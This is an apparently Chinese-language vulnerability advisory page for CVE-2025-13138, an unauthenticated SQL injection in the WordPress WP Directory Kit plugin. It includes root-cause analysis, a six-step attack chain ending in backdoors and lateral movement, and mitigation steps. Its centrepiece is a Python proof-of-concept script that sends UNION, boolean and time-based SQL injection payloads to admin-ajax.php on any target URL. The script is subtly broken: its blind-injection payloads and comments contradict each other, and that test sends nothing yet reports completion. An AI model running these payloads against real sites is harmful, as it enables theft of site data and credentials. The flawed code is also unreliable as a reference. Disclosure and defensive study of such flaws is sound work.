IPBUF安全漏洞报告
English
CVE-2025-13138 CVSS 7.5 高危

CVE-2025-13138 WordPress WP Directory Kit插件SQL注入漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-13138
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WP Directory Kit(WordPress插件)

相关标签

SQL注入WordPress插件WP Directory KitCVE-2025-13138未授权访问数据库注入AJAX端点高危漏洞

漏洞概述

WP Directory Kit是WordPress平台上广泛使用的目录插件,用于创建和管理各类目录网站。该插件在1.4.3及以下版本中存在严重的SQL注入漏洞,攻击者可通过未经过滤的columns_search参数直接访问数据库底层查询。漏洞位于select_2_ajax()函数中,由于该函数在处理用户输入时未进行充分的输入验证和SQL转义,同时现有SQL查询也缺乏足够的预处理机制,导致恶意SQL代码可被注入到数据库查询中。此漏洞无需任何认证即可被利用,攻击者可通过构造特定的HTTP请求获取数据库中的敏感信息,包括用户凭证、配置数据、业务数据等。鉴于该插件在WordPress生态中的使用量,漏洞影响范围可能涉及大量网站,建议立即采取修复措施。

技术细节

漏洞根源在于WP Directory Kit插件的Wdk_frontendajax.php文件中select_2_ajax()函数的第546行附近代码。该函数在处理columns_search参数时,直接将用户可控的输入拼接到SQL查询语句中,而没有使用WordPress提供的prepare()方法进行SQL预处理。具体来说,当用户通过AJAX请求调用该函数时,columns_search参数的值会被直接用于构建SELECT查询的WHERE条件部分,攻击者可通过构造包含SQL关键字和特殊字符的payload来实现SQL注入。攻击者可利用UNION SELECT、布尔盲注或时间盲注等技术,从数据库中提取敏感信息。漏洞利用的关键在于利用参数污染或编码绕过等技巧绕过简单的过滤机制。由于该AJAX端点对未认证用户开放,任何访问者都可以构造恶意请求。此外,插件缺乏对输入参数的白名单验证机制,使得攻击面进一步扩大。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站是否使用WordPress CMS,并检查是否安装了WP Directory Kit插件。可以通过查看页面源码、扫描目录或使用Wappalyzer等工具进行识别。
STEP 2
步骤2: 漏洞验证
攻击者访问/wp-admin/admin-ajax.php端点,确认wdk_select_2_ajax动作是否存在。通过发送包含columns_search参数的正常请求,观察响应以确认漏洞点。
STEP 3
步骤3: 构造恶意Payload
基于SQL注入类型(UNION注入或布尔盲注),攻击者构造恶意的columns_search参数值。例如使用UNION SELECT语句或包含SLEEP()函数的布尔表达式。
STEP 4
步骤4: 执行注入攻击
攻击者发送带有恶意payload的HTTP POST请求到admin-ajax.php端点。由于插件未对输入进行过滤和预处理,SQL代码将在数据库中执行。
STEP 5
步骤5: 数据提取
根据注入类型,攻击者通过分析响应内容(UNION注入)或响应时间差异(盲注)逐步提取数据库中的敏感信息,包括用户表、密码哈希、配置数据等。
STEP 6
步骤6: 权限提升与持久化
获取数据库访问权限后,攻击者可能尝试获取WordPress后台管理权限、植入后门或横向移动到其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13138 SQL Injection PoC # Target: WordPress with WP Directory Kit plugin <= 1.4.3 # Vulnerability: Unauthenticated SQL Injection via columns_search parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection in WP Directory Kit plugin The vulnerability exists in select_2_ajax() function """ # Construct the AJAX endpoint endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'wdk_select_2_ajax', 'columns_search': payload, 'table': 'wdk_settings', 'limit': 1 } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def test_blind_sqli(target_url): """ Test for blind SQL injection vulnerability Using time-based blind injection technique """ # True condition - should respond quickly true_payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(0))a) AND '1'='1" # False condition - should respond quickly (no delay) false_payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND '1'='2" print(f"[*] Testing blind SQL injection on {target_url}") print(f"[*] True condition payload: {true_payload}") print(f"[*] False condition payload: {false_payload}") # Note: In a real attack, timing analysis would be performed here print("[*] Blind SQL injection test completed") def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Example UNION-based injection to extract database name union_payload = "1' UNION SELECT database()-- -" print(f"[*] Attempting to extract database information") result = exploit_sqli(target_url, union_payload) print(f"[*] Database info: {result[:200]}...") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13138.py <target_url>") print("Example: python cve-2025-13138.py http://example.com") sys.exit(1) target = sys.argv[1] # Test basic exploitation print("=" * 60) print("CVE-2025-13138 WP Directory Kit SQL Injection Exploit") print("=" * 60) # Basic test basic_payload = "1' OR '1'='1" print(f"[*] Sending basic test payload: {basic_payload}") result = exploit_sqli(target, basic_payload) print(f"[*] Response length: {len(result)} characters") # Test blind injection test_blind_sqli(target) print("\n[*] Exploitation complete") print("[*] Note: This is a proof-of-concept for educational purposes only")

影响范围

WP Directory Kit <= 1.4.3

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)立即禁用WP Directory Kit插件或使用替代插件;2)通过.htaccess或Nginx配置限制对/wp-admin/admin-ajax.php端点的访问,阻止非授权用户访问wdk_select_2_ajax动作;3)暂时修改数据库用户权限,移除不必要的表访问权限;4)启用Web应用防火墙的SQL注入防护规则;5)加强数据库日志监控,及时发现异常查询行为。同时建议在WordPress中安装安全插件如Wordfence或Sucuri,提供实时的注入攻击检测和阻断能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表